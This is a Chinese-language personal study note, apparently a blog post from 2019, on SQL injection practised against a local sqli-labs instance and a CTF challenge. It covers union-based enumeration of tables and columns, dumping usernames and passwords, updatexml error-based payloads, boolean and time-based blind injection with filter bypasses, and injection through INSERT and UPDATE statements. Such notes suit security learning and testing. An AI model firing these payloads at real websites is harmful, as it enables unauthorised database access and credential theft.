SQL注入笔记

 

2019.02.23 复习SQL注入

union select 注入

http://127.0.0.1/sql/Less-1/?id=1%27%20order%20by%203%23  猜列 'order by 3#      引号闭合, order by 猜列数 #注释 

-1%27%20union%20select%201,2,3%23   -1 报错  union select 1,2,3  测显示位  #注释   

猜表名          

http://127.0.0.1/sql/Less-1/?id=-1%27%20union%20select%201,group_concat(0x7e,table_name),3%20from%20information_schema.tables%20where%20table_schema=database()%23

group_concat 连接显示  information_schema.tables  这张表有所所有库的表名  用where table_schema 进行筛选  database() 为当前数据库名   

猜列名

http://127.0.0.1/sql/Less-1/?id=-1%27%20union%20select%201,group_concat(0x7e,column_name),3%20from%20information_schema.columns%20where%20table_name=%27users%27%23

group_concat 连接显示  information_schema.tables  这张表有所所有库的列名  用where table_name进行筛选   users 为筛选对象 查该表 里的列名

读取数据

 http://127.0.0.1/sql/Less-1/?id=-1%27%20union%20select%201,group_concat(username,0x7e,password),3%20from%20users%23

 

报错注入

http://127.0.0.1/sql/Less-1/?id=1%27%20and%20(updatexml(1,concat(0x7e,(select%20user()),0x7e),1))%23

 

--secure-file-priv 解决

show global variables like '%secure_file_priv%';

查看安全状态 为NULL 为不可写

配置可写,配置my.ini MYSQL配置文件

 

 

盲注

无空格,无, substr     = 可以用regexp 代替      , 可以用 jion 代替  

mysql盲注:盲注,即在SQL注入过程中,SQL语句执行选择后,选择的数据不能回显到前端,我们需要使用一些特殊的方法进行判断或尝试,这个过程称为盲注

    盲注分为三大类:

      布尔型盲注

      时间型盲注

      报错型盲注

    

             

    有三个函数在整个过程中一直被使用

    1.mid()函数

    mid(string,start,length)

    string(必需)规定要返回其中一部分的字符串。

    start(必需)规定开始位置(起始值是 1)。

    length(可选)要返回的字符数。如果省略,则 mid() 函数返回剩余文本。

 

    2.substr()函数

    substr(string,start,length)

    string(必需)规定要返回其中一部分的字符串。

    start(必需)规定在字符串的何处开始。

    length(可选)规定被返回字符串的长度。

    PS:mysql中的start是从1开始的,而php中的start是从0开始的。

    3.left()函数

    left(string,length)

    string(必需)规定要返回其中一部分的字符串

    length(可选)规定被返回字符串的前length长度的字符

 

  布尔型盲注:布尔型SQL盲注即在SQL注入过程中,应用程序仅仅返回True(页面)和False(页面)。

     这时,我们无法根据应用程序的返回页面得到我们需要的数据库信息。但是可以通过构造逻辑判断(比较大小)来得到我们需要的信息。

   首先利用length()函数判断当前数据库的位数,只有刚好时才会返回正常

 

在实验吧

http://ctf5.shiyanbar.com/web/earnest/index.php
这题 过滤了空格,*号 #号 -号 substr 等 这里采用mid 进行布尔型盲注
0'or((mid(database())from(1)for(1))='c')or'0
0'or((select(mid()from(1)for(1))))
0'or((select(mid(from(1)for(1)))from(information_schema.tables)where(table_schema=database())='f')
or 需要双写 and 可以用&& 代替

flag="0' oorr (select user() regexp '%s') oorr '0" %(b)
flag=flag.replace(' ',chr(0x0a))   

做这题最简单的写法

 

-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

insert 注入

利用insert 进行二次注入

1',(select table_name from information_schema.tables where table_schema=database() limit 1,1), 99)-- a

 

如果可以回显示

使用报错注入

1'and updatexml(1,concat(1,user(),1),1) and '     

 

insert 下 盲注

如果库名的字符个数大于1 那么就延迟3秒  

1'and if(length(database())>1,sleep(3),1) and '

1'and if(ascii(substr(database(),2,1))=115,sleep(3),1) and ' 

盲注猜字符  

 

update 下的盲注 

当然 update 也试用 报错注入     在update下 注入 不能查询当前表?//还没解决 sqlmap 跑一遍 看看过程?

 'and sleep((ascii(mid(database() from 1 for 1))>1)*3) and '

 无 , 延迟 

还有select case when () then sleep(3) else 1 end 

posted @ 2019-02-23 23:13  echo_d  阅读(68)  评论(0)    收藏  举报